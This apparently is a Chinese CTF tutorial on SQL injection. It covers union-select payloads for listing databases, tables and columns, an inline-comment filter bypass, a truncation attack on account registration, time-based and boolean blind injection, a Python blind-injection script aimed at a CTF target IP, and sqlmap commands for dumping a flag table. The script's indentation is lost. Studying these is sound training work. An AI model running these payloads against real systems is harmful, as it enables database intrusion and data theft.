ctf攻防之sql注入


基础sql注入

sql注入

sql注入的基本原理

  1. sql注入的主要原因来自sql查询的字符串拼接,例如我们正常输入1,那么呈现
1
select * from table where id='1'
  1. 但是如果进行心机输入 1’ ,那么将会变成 ==》
1
select * from table where id = '1''
  1. 继续下去,因为两个 ‘ 的原因,那么则会产生sql syntax error ,所以需要产生注释后面的内容,我们需要#,因此输入 1’#
1
2
3
4
5
select * from table where id = '1'#' 

===============> 明显一些

select * from table where id = '1'
  1. 注入分类
    整形注入

    SELECT * FROM admin WHERE id = 1 and 1=1

字符型注入

SELECT * FROM admin WHERE id = ‘1’ and 1=1#’

搜索型注入

SELECT * FROM admin WHERE id LIKE ‘%1%’ and ‘%’=’%’

sql注入常用基本操作————主要利用union select联合查询继续获取信息

  1. 获取数据库的基础信息

    1’ union select database(),user()#
    database()返回当前使用的数据库名称
    user() 返回当前使用者的信息

  2. 获取操作系统等功能

    1’ union select version(),@@version_compile_os#
    version() 获取当前数据库版本
    @@version_compile_os 获取当前操作系统@@version_compile_os 获取当前操作系统

  3. 获取数据库的表名

    1’ union select table_names,table_schema from information_schema.tables where table_schema = ‘table name’ #
    数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库
    ps: 数据库会用一个information_schema.tables来记录表的信息

  4. 获取数据库的列名

    1’ union select group_concat(column_name) from information_schema.columns where table_schema=database()

  5. 内联注释绕过

    上述union select 可能会被拦截,因此使用注释绕过,用/!XX / 包裹,来实现绕过
    word=1%’ and 1=2 /!union/ /!select/ database(),user(),database() %23&§number=5§
    转自: https://www.cnblogs.com/baimaoma/p/8608490.html

sql约束攻击

简单的来说,就是在sql中会因为一些空格来进行绕过,以账号密码注册为例子

  1. 默认后台有admin/password01
  2. 我们注册时候使用admin /password02
  3. 登陆的时候用admin/password02就可以正常的登陆
  4. 原因说明:

    其实入库的时候会自动减去注册时尾部的空格,但是代码在写的时候却没有去掉空格,所以加上空格之后就不会查重,但是入了库就又重复了

sql盲注

最简单的注入在于,无论你去注入什么,或者搜索或者选择都是会有相应的显示的,但是还有一部分的盲注是没有提示的,你无法得知自己是否sql注入成功,所以插入sql中的sleep(),get_lock()等系列函数,通过时间延迟来判断是否注入成功,以为盲注全靠猜,因此需要脚本来实现盲注 。

盲注分类

Time盲注

1
SELECT * FROM admin WHERE id = 1 AND (SELECTif((SELECT substr(table_name,1,1)  FROM users  limit 0,1)='e',sleep(10),null))

•Bool盲注

1
SELECT * FROM admin WHERE id = 1 and  ascii(substr((SELECT  database()),1,1))>99

ctf盲注代码:

靶机: http://114.55.36.69:8007/
注入猜测: http://114.55.36.69:8007/article.php?id=1' and sleep(5) %23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=utf8
import requests
import time
data = ''
url = "http://114.55.36.69:8007/article.php?id=1'"

for i in range(47):
for c in range(32,127):
url_req = url + " and if(ascii(substr((content),{0},1))={1},get_lock('test',3),1)%23".format(i+1,str(c)) # 盲注猜测
print(url_req)
start_time = time.time()
res = requests.get(url_req) # 请求
end_time = time.time()
if (end_time - start_time) > 2.5: # 时间超过3秒说明注入成功,计入data
data += chr(c)
print(data)
break;
print('data:',data) # 输出结果

大佬帖子: https://www.cesafe.com/3993.html

sqlmap

感受了一哈,牛逼嗷

sqlmap-post

post的特殊一些,所有会把用burpsuite导出一份txt文件用于进行注入

  1. 判断是什么注入类型,是什么类型的数据库

    python sqlmap.py -r test\post.txt

  2. 通过加后缀 –dbs 可以看到数据库的版本等更多信息

    python sqlmap.py -r test\post.txt –dbs

  3. 通过后缀 -D 指定具体数据库, 利用后缀 –table 可以看到具体数据库的具体表名

    python sqlmap.py -r test\post.txt -D skctf_flag –tables

  4. 通过后缀 -T 进一步指定某表的具体的列名

    python sqlmap.py -r test\post.txt -D skctf_flag -T fl4g –columns

  5. 通过后缀 -C 具体指定具体的一列

    python sqlmap.py -r test\post.txt -D skctf_flag -T fl4g -C “skctf_flag” –dump

  6. 通过后缀 –search 查找字段

    python sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password